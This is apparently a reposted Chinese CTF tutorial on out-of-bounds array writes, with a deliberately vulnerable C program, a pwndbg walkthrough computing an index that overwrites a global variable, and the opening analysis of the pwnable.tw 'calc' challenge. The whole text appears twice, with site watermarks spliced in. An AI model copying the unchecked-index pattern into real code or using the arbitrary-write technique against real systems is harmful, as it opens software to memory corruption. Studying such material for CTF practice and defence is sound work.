从pwnable.tw-calc看数组越界造成的任意地址读写
数组越界访问是c程序常见的错误之一,由于c语言并不向Java等语言对数组下标有严格的检查,一旦出现越界,就有可能造成严重的后果。
数组越界访问
看下边一个例子::
#include
#include
int target = 0xdeadbeef;
int main()
{
int a[20] = {0xdeadbeef};
int index,value;
printf("%x\n",a);
scanf("%d%d", &index, &value);
a[index] = value;
if (target == 0x27)
printf("Congratulations!\n");
else
{
printf("try again.\n");
}
return 0;
}
以32位为例:
gcc -m32 Array-out-of-bounds.c -g0 -o 32
栈空间:
00:0000│ esp 0xffffcdb0 —▸ 0x8048634 ◂— and eax, 0x642564 /* '%d%d' */
01:0004│ 0xffffcdb4 —▸ 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
02:0008│ 0xffffcdb8 —▸ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
03:000c│ 0xffffcdbc ◂— 0x0
04:0010│ 0xffffcdc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
05:0014│ eax 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
06:0018│ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
07:001c│ 0xffffcdcc ◂— 0xdeadbeef
08:0020│ 0xffffcdd0 ◂— 0x0
... ↓
1b:006c│ edi 0xffffce1c ◂— 0xc4907500
1c:0070│ 0xffffce20 —▸ 0xffffce40 ◂— 0x1
1d:0074│ 0xffffce24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1e:0078│ ebp 0xffffce28 ◂— 0x0
1f:007c│ 0xffffce2c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
此时我们可以看到a的地址为0xffffcdcc而内存访问数组的方法是:
0x8048549 94> add esp, 0x10
0x804854c 97> mov eax, dword ptr [ebp - 0x64]
0x804854f 100> mov edx, dword ptr [ebp - 0x60]
0x8048552 103> mov dword ptr [ebp + eax*4 - 0x5c], edx
即 ebp-0x5c为a的地址,再加上eax也就是索引乘4,如果我们要修改target的值:
pwndbg> p/x &target
$3 = 0x804a028
即0xffffcdcc + eax * 4 == 0x804a028解方程。我们因为是32位,所以我们可以把这个方程看成:
(0xffffcdcc + eax * 4) & 0xffffffff == 0x804a028
因为有很多值,我们就取一个:
In [5]: (0x10804a028-0xffffcdcc)/4
Out[5]: 0x2013497
成功修改:
pwndbg> c
Continuing.
ffffcdcc
33633431 39
...
pwndbg> p $ebp + $eax*4 - 0x5c
$5 = (void *) 0x804a028
pwndbg> n
...
pwndbg> p/x target
$6 = 0x27
修改成功,退出调试环境再试一下。
➜ Array-out-of-bounds ./32
ffd8e7fc
34270731 39
Congratulations!
接下来通过pwnable.tw的一道calc实战一下
pwnable.tw-calc
nc连上去看看:
➜ ~ nc chall.pwnable.tw 10100
=== Welcome to SECPROG calculator ===
1+3
4
1-3
-2
2+-2
expression error!
-2+2
2
0+0
prevent division by zero
-0+1
prevent division by zero
+1+1
2
+5-7
-7
Merry Christmas!
随便输入点什么,可以看到有些奇怪的输出。打开ida加载分析一下、逻辑很简单:
unsigned int calc()
{
int result[101]; // [esp+18h] [ebp-5A0h]
char expr; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&expr, 0x400u);
if ( !get_expr((int)&expr, 1024) )
break;
init_pool(result);
if ( parse_expr(&expr, result) )
{
printf(("%d\n", result[result[0] - 1 + 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
主要就是这个calc的函数,可以看到一开始读了canary到栈里,然后从命令行读一行字符串然后调用parse_expr来计算,结果放在result[size - 1]处。get_expr的逻辑就是一个字符一个字符读到s里并过滤掉除[0-9]*+-\%的字符。init_pool这个函数初始化了一段大小为100*4内存空间。暂时不知道干什么用的,不过通过calc的那个printf可以推断出这里边放有计算的结果。parse_expr首先是个for循环对输入的表达式进行遍历。
数组越界访问是c程序常见的错误之一,由于c语言并不向Java等语言对数组下标有严格的检查,一旦出现越界,就有可能造成严重的后果。
数组越界访问
看下边一个例子::
#include
#include
int target = 0xdeadbeef;
int main()
{
int a[20] = {0xdeadbeef};
int index,value;
printf("%x\n",a);
scanf("%d%d", &index, &value);
a[index] = value;
if (target == 0x27)
printf("Congratulations!\n");
else
{
printf("try again.\n");
}
return 0;
}
以32位为例:
gcc -m32 Array-out-of-bounds.c -g0 -o 32
栈空间:
00:0000│ esp 0xffffcdb0 —▸ 0x8048634 ◂— and eax, 0x642564 /* '%d%d' */ 无奈人生安全网
01:0004│ 0xffffcdb4 —▸ 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
02:0008│ 0xffffcdb8 —▸ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
03:000c│ 0xffffcdbc ◂— 0x0
04:0010│ 0xffffcdc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
05:0014│ eax 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
06:0018│ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
07:001c│ 0xffffcdcc ◂— 0xdeadbeef
08:0020│ 0xffffcdd0 ◂— 0x0
... ↓
1b:006c│ edi 0xffffce1c ◂— 0xc4907500
1c:0070│ 0xffffce20 —▸ 0xffffce40 ◂— 0x1
1d:0074│ 0xffffce24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
www.wnhack.com
1e:0078│ ebp 0xffffce28 ◂— 0x0
1f:007c│ 0xffffce2c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add esp, 0x10
此时我们可以看到a的地址为0xffffcdcc而内存访问数组的方法是:
0x8048549 94> add esp, 0x10
0x804854c 97> mov eax, dword ptr [ebp - 0x64]
0x804854f 100> mov edx, dword ptr [ebp - 0x60]
0x8048552 103> mov dword ptr [ebp + eax*4 - 0x5c], edx
即 ebp-0x5c为a的地址,再加上eax也就是索引乘4,如果我们要修改target的值:
pwndbg> p/x &target
$3 = 0x804a028
即0xffffcdcc + eax * 4 == 0x804a028解方程。我们因为是32位,所以我们可以把这个方程看成:
(0xffffcdcc + eax * 4) & 0xffffffff == 0x804a028
因为有很多值,我们就取一个:
In [5]: (0x10804a028-0xffffcdcc)/4 copyright 无奈人生
Out[5]: 0x2013497
成功修改:
pwndbg> c
Continuing.
ffffcdcc
33633431 39
...
pwndbg> p $ebp + $eax*4 - 0x5c
$5 = (void *) 0x804a028
pwndbg> n
...
pwndbg> p/x target
$6 = 0x27
修改成功,退出调试环境再试一下。
➜ Array-out-of-bounds ./32
ffd8e7fc
34270731 39
Congratulations!
接下来通过pwnable.tw的一道calc实战一下
pwnable.tw-calc
nc连上去看看:
➜ ~ nc chall.pwnable.tw 10100
=== Welcome to SECPROG calculator ===
1+3
4
1-3
-2
2+-2
expression error!
-2+2
2
0+0
prevent division by zero
-0+1
prevent division by zero
+1+1
2
+5-7
-7
Merry Christmas!
随便输入点什么,可以看到有些奇怪的输出。打开ida加载分析一下、逻辑很简单:
unsigned int calc()
{
int result[101]; // [esp+18h] [ebp-5A0h]
char expr; // [esp+1ACh] [ebp-40Ch]
unsigned int v3; // [esp+5ACh] [ebp-Ch]
v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&expr, 0x400u);
if ( !get_expr((int)&expr, 1024) )
break;
init_pool(result);
if ( parse_expr(&expr, result) )
{
printf(("%d\n", result[result[0] - 1 + 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}
主要就是这个calc的函数,可以看到一开始读了canary到栈里,然后从命令行读一行字符串然后调用parse_expr来计算,结果放在result[size - 1]处。get_expr的逻辑就是一个字符一个字符读到s里并过滤掉除[0-9]*+-\%的字符。init_pool这个函数初始化了一段大小为100*4内存空间。暂时不知道干什么用的,不过通过calc的那个printf可以推断出这里边放有计算的结果。parse_expr首先是个for循环对输入的表达式进行遍历。
内容来自无奈安全网